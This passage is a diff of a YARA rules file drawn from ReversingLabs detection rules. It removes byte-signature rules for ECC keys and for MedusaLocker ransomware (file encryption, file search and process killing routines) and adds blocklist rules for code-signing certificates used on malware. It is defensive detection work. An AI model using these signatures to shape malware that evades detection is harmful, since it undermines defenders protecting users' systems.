importance = 25 - strings: - $oid_prime_explicit = { - 06 07 2A 86 48 CE 3D 01 01 - } - $ecc_public_key_1 = { - 04 47 45 0E 96 FB 7D 5D BF E9 39 D1 21 F8 9F 0B - B6 D5 7B 1E 92 3A 48 59 1C F0 62 31 2D C0 7A 28 - FE 1A A7 5C B3 B6 CC 97 E7 45 D4 58 FA D1 77 6D - 43 A2 C0 87 65 34 0A 1F 7A DD EB 3C 33 A1 C5 9D - 4D A4 6F 41 95 38 7F C9 1E 84 EB D1 9E 49 92 87 - 94 87 0C 3A 85 4A 66 9F 9D 59 93 4D 97 61 06 86 - 4A - } - $ecc_public_key_2 = { - 04 84 13 C9 D0 BA 6D 41 7B E2 6C D0 EB 55 5F 66 - 02 1A 24 F4 5B 89 69 47 E3 B8 C2 7D F1 F2 02 C5 - 9F A0 F6 5B D5 8B 06 19 86 4F 53 10 6D 07 24 27 - A1 A0 F8 D5 47 19 61 4C 7D CA 93 27 EA 74 0C EF - 6F 96 09 FE 63 EC 70 5D 36 AD 67 77 AE C9 9D 7C - 55 44 3A A2 63 51 1F F5 E3 62 D4 A9 47 07 3E CC - 20 - } - $ecc_public_key_3 = { - 04 A7 56 7A 7C 52 DA 64 9B 0E 2D 5C D8 5E AC 92 - 3D FE 01 E6 19 4A 3D 14 03 4B FA 60 27 20 D9 83 - 89 69 FA 54 C6 9A 18 5E 55 2A 64 DE 06 F6 8D 4A - 3B AD 10 3C 65 3D 90 88 04 89 E0 30 61 B3 AE 5D - 01 A7 7B DE 7C B2 BE CA 65 61 00 86 AE DA 8F 7B - D0 89 AD 4D 1D 59 9A 41 B1 BC 47 80 DC 9E 62 C3 - F9 - } - $ecc_public_key_4 = { - 04 CD 0F 5B 56 82 DF F0 45 1A D6 AD F7 79 F0 1D - C9 AC 96 D6 9E 4E 9C 1F B4 42 11 CA 86 BF 6D FB - 85 A3 C5 E5 19 5C D7 EE A6 3F 69 67 D8 78 E2 A6 - C9 C4 DB 2D 79 2E E7 8B 8D 02 6F 31 22 4D 06 E3 - 60 72 45 9D 0E 42 77 9E CE CF E5 7F 85 9B 18 E4 - FC CC 2E 72 D3 16 93 4E CA 99 63 5C A1 05 2A 6C - 06 - } - $ecc_public_key_5 = { - 04 57 CF EA B3 39 4D 3F A1 21 E0 6E 2F 38 72 C6 - 87 97 F3 85 0B 47 E7 0F 51 C8 D1 F4 99 9B CA 59 - 65 FF 4C F9 EA 0B B7 25 D5 D2 F6 EC 31 2D 32 62 - 12 D7 76 86 A7 FA 38 C9 65 D4 FE 73 E2 84 39 F8 - 4C 49 62 13 DD BA D5 88 A0 5F 3D C8 4F B0 3F 8F - A1 50 11 E4 93 46 AD C3 5F CB F1 A4 6A 95 56 E8 - C0 - } - $ecc_public_key_6 = { - 04 D1 D9 4A 8E 4C 0D 84 4A 51 BA 7C EF D3 CC FA - 3A 9A B5 A7 63 13 3D 01 E0 49 3E FA C1 47 C9 92 - B3 3A D7 FE 6F 9C F7 9A 3A 0F F5 0E 0A 0A C3 3F - C8 E7 12 14 8E D5 D5 6D 98 2C B3 71 32 0A EB 2A - BD F6 D7 6A 20 0B 67 45 9C D2 B2 BF 53 22 66 09 - 5D DB 11 F3 F1 05 33 58 A3 E2 B8 CF 7C CD 82 9B - BD - } - $ecc_public_key_7 = { - 04 4A EE 58 AE 4D CA 66 DE 06 3A A3 11 FC E0 18 - F0 6E 1C BA 2D 30 0C 89 D9 D6 EE 9B 73 83 A9 23 - 15 8C 2F 59 8A 5A DD 14 EA 9D 59 2B 43 B7 06 EC - 32 B6 BA EE 41 B5 AD 5D A1 85 CC EA 1D 14 66 A3 - 67 7E 46 E2 94 F3 E7 B6 56 A1 15 59 A1 4F 37 97 - B9 22 1E BD 11 EB F4 B2 1F 5E C3 14 9A E5 D9 97 - 99 - } - $ecc_public_key_8 = { - 04 DD A7 D9 BB 8A B8 0B FB 0B 7F 21 D2 F0 BE BE - 73 F3 33 5D 1A BC 34 EA DE C6 9B BC D0 95 F6 F0 - CC D0 0B BA 61 5B 51 46 7E 9E 2D 9F EE 8E 63 0C - 17 EC 07 70 F5 CF 84 2E 40 83 9C E8 3F 41 6D 3B - AD D3 A4 14 59 36 78 9D 03 43 EE 10 13 6C 72 DE - AE 88 A7 A1 6B B5 43 CE 67 DC 23 FF 03 1C A3 E2 - 3E - } - $ecc_public_key_9 = { - 04 D7 66 B5 1B DB AE B3 60 EE 46 EA 88 63 75 3B - 2A 94 6D F3 5F 12 F6 E3 0F 9E B6 0A 14 53 48 52 - C8 DC 3A B3 CB 48 20 26 12 4E FA 89 84 D4 DF 91 - E4 29 7D 28 01 D9 DB 18 43 69 A1 1F B5 D3 86 16 - DC C7 7F 67 23 DF DF 31 31 83 03 35 70 B1 4B B7 - C8 17 BB 51 CB DC 94 17 DB EA 09 3B 76 12 DE AA - B5 - } - $ecc_public_key_10 = { - 04 15 B1 E8 FD 03 15 43 E5 AC EB 87 37 11 62 EF - D2 83 36 52 7D 45 57 0B 4A 8D 7B 54 3B 3A 6E 5F - 15 02 C0 50 A6 CF 25 2F 7D CA 48 B8 C7 50 63 1C - 2A 21 08 7C 9A 36 D8 0B FE D1 26 C5 58 31 30 28 - 25 F3 5D 5D A3 B8 B6 A5 B4 92 ED 6C 2C 9F EB DD - 43 89 A2 3C 4B 48 91 1D 50 EC 26 DF D6 60 2E BD - 21 - } - $ecc_public_key_11 = { - 04 03 47 7B 2F 75 C9 82 15 85 FB 75 E4 91 16 D4 - AB 62 99 F5 3E 52 0B 06 CE 41 00 7F 97 E1 0A 24 - 3C 1D 01 04 EE 3D D2 8D 09 97 0C E0 75 E4 FA FB - 77 8A 2A F5 03 60 4B 36 8B 16 23 16 AD 09 71 F4 - 4A F4 28 50 B4 FE 88 1C 6E 3F 6C 2F 2F 09 59 5B - A5 5B 0B 33 99 E2 C3 3D 89 F9 6A 2C EF B2 D3 06 - E9 - } - $ecc_public_key_12 = { - 04 92 A0 41 E8 4B 82 84 5C E2 F8 31 11 99 86 64 - 4E 09 25 2F 9D 41 2F 0A AE 35 4F 74 95 B2 51 64 - 6B 8D 6B E6 3F 70 95 F0 05 44 47 A6 72 38 50 76 - 95 02 5A 8E AE 28 9E F9 2D 4E 99 EF 2C 48 6F 4C - 25 29 E8 D1 71 5B DF 1D C1 75 37 B4 D7 FA 7B 7A - 42 9C 6A 0A 56 5A 7C 69 0B AA 80 09 24 6C 7E C1 - 46 - } - $ecc_public_key_13 = { - 04 A2 D5 9C 82 7B 95 9D F1 52 78 87 FE 8A 16 BF - 05 E6 DF A3 02 4F 0D 07 C6 00 51 BA 0C 02 52 2D - 22 A4 42 39 C4 FE 8F EA C9 C1 BE D4 4D FF 9F 7A - 9E E2 B1 7C 9A AD A7 86 09 73 87 D1 E7 9A E3 7A - A5 AA 6E FB BA B3 70 C0 67 88 A2 35 D4 A3 9A B1 - FD AD C2 EF 31 FA A8 B9 F3 FB 08 C6 91 D1 FB 29 - 95 - } - $ecc_public_key_14 = { - 04 98 E9 2F 3D 40 72 A4 ED 93 22 72 81 13 1C DD - 10 95 F1 C5 A3 4E 71 DC 14 16 D9 0E E5 A6 05 2A - 77 64 7B 5F 4E 38 D3 BB 1C 44 B5 7F F5 1F B6 32 - 62 5D C9 E9 84 5B 4F 30 4F 11 5A 00 FD 58 58 0C - A5 F5 0F 2C 4D 07 47 13 75 DA 97 97 97 6F 31 5C - ED 2B 9D 7B 20 3B D8 B9 54 D9 5E 99 A4 3A 51 0A - 31 - } - $ecc_public_key_15 = { - 04 0D 30 5E 1B 15 9D 03 D0 A1 79 35 B7 3A 3C 92 - 7A CA 15 1C CD 62 F3 9C 26 5C 07 3D E5 54 FA A3 - D6 CC 12 EA F4 14 5F E8 8E 19 AB 2F 2E 48 E6 AC - 18 43 78 AC D0 37 C3 BD B2 CD 2C E6 47 E2 1A E6 - 63 B8 3D 2E 2F 78 C4 4F DB F4 0F A4 68 4C 55 72 - 6B 95 1D 4E 18 42 95 78 CC 37 3C 91 E2 9B 65 2B - 29 - } - $ecc_public_key_16 = { - 04 1A AC 54 5A A9 F9 68 23 E7 7A D5 24 6F 53 C6 - 5A D8 4B AB C6 D5 B6 D1 E6 73 71 AE DD 9C D6 0C - 61 FD DB A0 89 03 B8 05 14 EC 57 CE EE 5D 3F E2 - 21 B3 CE F7 D4 8A 79 E0 A3 83 7E 2D 97 D0 61 C4 - F1 99 DC 25 91 63 AB 7F 30 A3 B4 70 E2 C7 A1 33 - 9C F3 BF 2E 5C 53 B1 5F B3 7D 32 7F 8A 34 E3 79 - 79 - } - $ecc_public_key_17 = { - 04 E1 FD 8E B8 43 24 AB 96 7B 85 C2 BA 0B AD 8D - E0 3A E3 24 B9 D2 B1 BE 88 3A CA BF 4A B8 F9 EF - 2C 2F AF 51 50 3C 47 75 6C F8 94 B7 9B FC 28 1E - C5 54 CC 63 9D 16 4B 53 C1 E7 20 AB CD AC 25 D2 - 7F 8F C2 C1 5A 82 5E 30 8B 7A 54 CE 03 B5 91 7F - AA 94 D0 D1 8A 48 CC 82 05 26 A1 D5 51 12 D6 7B - 36 - } - $ecc_public_key_18 = { - 04 19 E7 BC AC 44 65 ED CD B8 3F 58 FB 8D B1 57 - A9 44 2D 05 15 F2 EF 0B FF 10 74 9F B5 62 52 5F - 66 7E 1F E5 DC 1B 45 79 0B CC C6 53 0A 9D 8D 5D - 02 D9 A9 59 DE 02 5A F6 95 2A 0E 8D 38 4A 8A 49 - C6 BC C6 03 38 07 5F 55 DA 7E 09 6E E2 7F 5E D0 - 45 20 0F 59 76 10 D6 A0 24 F0 2D DE 36 F2 6C 29 - 39 - } - $ecc_public_key_19 = { - 04 B8 C6 79 D3 8F 6C 25 0E 9F 2E 39 19 1C 03 A4 - AE 9A E5 39 07 09 16 CA 63 B1 B9 86 F8 8A 57 C1 - 57 CE 42 FA 73 A1 F7 65 42 FF 1E C1 00 B2 6E 73 - 0E FF C7 21 E5 18 A4 AA D9 71 3F A8 D4 B9 CE 8C - 1D - } - $ecc_public_key_20 = { - 04 C7 11 16 2A 76 1D 56 8E BE B9 62 65 D4 C3 CE - B4 F0 C3 30 EC 8F 6D D7 6E 39 BC C8 49 AB AB B8 - E3 43 78 D5 81 06 5D EF C7 7D 9F CE D6 B3 90 75 - DE 0C B0 90 DE 23 BA C8 D1 3E 67 E0 19 A9 1B 86 - 31 1E 5F 34 2D EE 17 FD 15 FB 7E 27 8A 32 A1 EA - C9 8F C9 7E 18 CB 2F 3B 2C 48 7A 7D A6 F4 01 07 - AC - } - $ecc_public_key_21 = { - 04 DE CD BB 70 20 F1 25 20 B4 94 E8 D7 B4 3B 0F - 6E 87 DD AB AC CF 4D 40 2F 81 33 6B 59 09 18 D6 - 87 0D 26 23 9C B4 8D 95 9D 76 9F A5 B9 06 42 E6 - AD 36 B2 C4 B3 AE 7A 3C 08 D5 CB 9D 3A 5E 45 21 - 6C 0B E3 20 F5 9B C2 DD 44 33 E3 42 B9 EA F2 28 - 42 92 AA FE 0C 07 CA 8A 13 99 3B 62 00 ED DA F3 - 35 - } - $ecc_public_key_22 = { - 04 5C D1 EE 57 0D D1 EF 81 7C 26 91 62 C3 6B E7 - FC 73 A9 A0 C3 37 44 DC D6 F8 31 E2 77 93 5F 8F - EB E3 ED 38 73 F5 FC 8B 55 B9 14 A5 8F 2C 44 28 - 19 AF 5D FB DE 09 58 C9 29 B3 A9 99 D3 75 13 3C - A9 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Al-Faris group d.o.o." and ( pe.signatures [ i ] . serial == "00:c7:9f:81:7f:08:29:86:be:f3:20:9f:67:23:c8:da:97" or pe.signatures [ i ] . serial == "c7:9f:81:7f:08:29:86:be:f3:20:9f:67:23:c8:da:97" ) and 1616371200 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_1E5Efa53A14599Cc82F56F0790E20B17 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "f87dac0c-4b46-5b30-a715-f21e7c3a98e0" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11442-L11458" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "78cbfeb5d7b58029a5b4107f2a59e892ff9d71788cf74e88ac823cb85ba35a94" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( $oid_prime_explicit ) and ( any of ( $ecc_public_key_* ) ) and ( pe.number_of_signatures > 0 ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Storeks LLC" and pe.signatures [ i ] . serial == "1e:5e:fa:53:a1:45:99:cc:82:f5:6f:07:90:e2:0b:17" and 1623196800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Medusalocker : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_0Cf2D0B5Bfdd68Cf777A0C12F806A569 : INFO FILE { meta: - description = "Yara rule that detects MedusaLocker ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "8bfcfe13-b519-5c03-9770-cf245b01c395" - date = "2020-06-26" - modified = "2020-07-15" + id = "2900c6ae-9e61-5bad-a7b4-b8eca925a1ea" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.MedusaLocker.yara#L1-L174" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11460-L11476" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "73f915d476d1411d2e008d00c5ffa03596e3b62bcdbc4d91dc7226599a066c08" + logic_hash = "4d8fd52cd12f9512c0b148f9915860152f108884d29617a5fbfd62500d3a14c4" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "MedusaLocker" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files_p1 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? - 33 C5 89 45 ?? 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 83 - 7D ?? ?? 75 ?? 32 C0 E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 50 8B 8D ?? ?? ?? - ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 73 ?? 32 C0 E9 ?? - ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 33 C9 89 4D ?? 8D 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? - ?? 85 C0 75 ?? 32 C0 E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? - 8B 8D ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? - ?? ?? C7 45 ?? ?? ?? ?? ?? 33 D2 89 55 ?? C7 45 ?? ?? ?? ?? ?? 33 C0 89 45 ?? 0F 57 - C0 66 0F 13 85 ?? ?? ?? ?? EB ?? 8B 8D ?? ?? ?? ?? 81 C1 ?? ?? ?? ?? 8B 95 ?? ?? ?? - ?? 83 D2 ?? 89 8D ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3B 45 ?? 0F 8F ?? - ?? ?? ?? 7C ?? 8B 8D ?? ?? ?? ?? 3B 4D ?? 0F 83 ?? ?? ?? ?? 0F 57 C0 66 0F 13 45 ?? - 6A ?? 8D 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 ?? - C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8A 45 ?? E9 ?? ?? ?? ?? - 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 6A ?? 8D 4D ?? E8 ?? ?? ?? ?? 50 8B 4D ?? 51 FF 15 - ?? ?? ?? ?? 85 C0 75 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 - } - $encrypt_files_p2 = { - 8A 45 ?? E9 ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 FF 15 - ?? ?? ?? ?? 85 C0 75 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? - 8A 45 ?? E9 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? 8B 85 ?? ?? ?? ?? 05 ?? - ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 3B 4D ?? 0F 83 ?? ?? ?? ?? 68 ?? ?? ?? - ?? 8D 4D ?? E8 ?? ?? ?? ?? 03 85 ?? ?? ?? ?? 50 6A ?? 8D 4D ?? E8 ?? ?? ?? ?? 50 E8 - ?? ?? ?? ?? 83 C4 ?? 8B 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? - 83 C4 ?? 50 6A ?? 8B 4D ?? 51 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 D0 85 D2 75 ?? - C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8A 45 ?? E9 ?? ?? ?? ?? - 6A ?? 8D 45 ?? 50 8B 8D ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 50 8B 55 ?? 52 FF 15 - ?? ?? ?? ?? 85 C0 75 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? - 8A 45 ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 7D ?? ?? 75 ?? EB ?? E9 ?? ?? ?? ?? C7 85 - ?? ?? ?? ?? ?? ?? ?? ?? 33 C0 89 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 89 4D ?? 8B 95 ?? - ?? ?? ?? 89 55 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 33 C0 89 85 ?? ?? ?? ?? 8B 8D ?? ?? - ?? ?? 89 4D ?? 8B 95 ?? ?? ?? ?? 89 55 ?? 6A ?? 8D 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 - } - $encrypt_files_p3 = { - 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 8D 4D ?? 51 8B 8D ?? ?? - ?? ?? 83 C1 ?? E8 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 83 C1 ?? E8 ?? ?? ?? ?? 50 8B 55 - ?? 52 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 C1 ?? E8 ?? ?? - ?? ?? 39 45 ?? 0F 85 ?? ?? ?? ?? 0F 57 C0 66 0F 13 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 - ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 4D ?? - 89 4D ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? 89 45 ?? 8B 55 ?? 52 8B - 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8B 8D ?? ?? ?? ?? 83 C1 ?? E8 ?? ?? ?? ?? 89 - 45 ?? 8B 45 ?? 89 45 ?? 6A ?? 8D 4D ?? 51 6A ?? 8D 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? - ?? ?? 85 C0 74 ?? 83 7D ?? ?? 75 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 - ?? ?? ?? ?? 8A 45 ?? EB ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? - ?? 8A 45 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D - C2 - } - $search_files_1 = { - 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 4D ?? 8B 45 ?? 53 8B 5D - ?? 56 89 8D ?? ?? ?? ?? 8B 4D ?? 57 89 8D ?? ?? ?? ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 83 - 7D ?? ?? 74 ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 72 ?? 8B - 45 ?? 33 F6 8D 8D ?? ?? ?? ?? 56 56 56 51 56 50 FF 15 ?? ?? ?? ?? 8B F8 8B 85 ?? ?? - ?? ?? 83 FF ?? 75 ?? C7 00 ?? ?? ?? ?? 33 C0 66 89 03 EB ?? 6A ?? 89 30 58 66 39 85 - ?? ?? ?? ?? 75 ?? 66 39 B5 ?? ?? ?? ?? 74 ?? 66 39 85 ?? ?? ?? ?? 75 ?? 66 39 B5 ?? - ?? ?? ?? 75 ?? 8B 8D ?? ?? ?? ?? 51 57 53 E8 ?? ?? ?? ?? 83 C4 ?? 66 39 33 75 ?? 57 - FF 15 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 C4 ?? 89 01 8B F7 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? - 8B C6 5F 5E 33 CD 5B E8 ?? ?? ?? ?? C9 C3 - } - $search_files_2 = { - 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 8B 5D ?? 8D 85 ?? ?? ?? - ?? 56 8B 75 ?? 57 8B 7D ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 58 66 39 85 ?? - ?? ?? ?? 75 ?? 66 83 BD ?? ?? ?? ?? ?? 74 ?? 66 39 85 ?? ?? ?? ?? 75 ?? 66 83 BD ?? - ?? ?? ?? ?? 75 ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 6A ?? 85 C0 58 75 ?? 68 - ?? ?? ?? ?? 56 C7 03 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59 8B 4D ?? 5F 5E 33 CD 5B E8 ?? - ?? ?? ?? C9 C3 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 03 8D 85 ?? ?? ?? ?? 50 56 E8 ?? - ?? ?? ?? 83 C4 ?? EB - } - $enum_resources = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 - 45 ?? 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 4D ?? 33 C0 89 45 ?? 66 89 45 ?? B9 ?? ?? ?? - ?? 6B D1 ?? 66 8B 45 ?? 66 89 44 15 ?? B9 ?? ?? ?? ?? C1 E1 ?? BA ?? ?? ?? ?? 66 89 - 54 0D ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8B 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? 51 - 6A ?? 8D 4D ?? E8 ?? ?? ?? ?? 50 8D 55 ?? 52 FF 15 ?? ?? ?? ?? 33 C0 66 89 45 ?? 8D - 4D ?? 51 8D 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 00 89 45 ?? 8D 4D ?? 51 8D 55 ?? 52 - 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 08 51 8D 55 ?? 52 8D 45 ?? 50 E8 ?? ?? ?? ?? - 83 C4 ?? 8B 08 51 8D 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 00 89 45 ?? 8B 4D ?? 51 8B - 55 ?? 52 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 50 - 8B 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 4D ?? 64 89 0D ?? ?? ?? - ?? 59 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2 - } - $kill_processes = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? - 33 C5 89 45 ?? 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 33 C0 88 85 ?? ?? ?? - ?? 8B 4D ?? E8 ?? ?? ?? ?? 0F B6 C8 85 C9 0F 85 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? - ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? - 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 85 ?? - ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 95 ?? - ?? ?? ?? 52 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 4D ?? 51 8D 4D - ?? E8 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 95 ?? ?? - ?? ?? 85 D2 74 ?? 8B 85 ?? ?? ?? ?? 50 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? - ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 6A ?? 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B 95 ?? - ?? ?? ?? 52 FF 15 ?? ?? ?? ?? B0 ?? EB ?? 8D 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 - FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 32 - C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2 - } - $kill_processes_call = { - 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? - 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ?? 8B 8D ?? ?? ?? ?? 83 C1 ?? - 89 8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 3B 95 ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? 50 8D - 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 4D - ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? EB - } - $enum_resources_call = { - 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 8D 4D - ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? - E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8D 4D - ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? 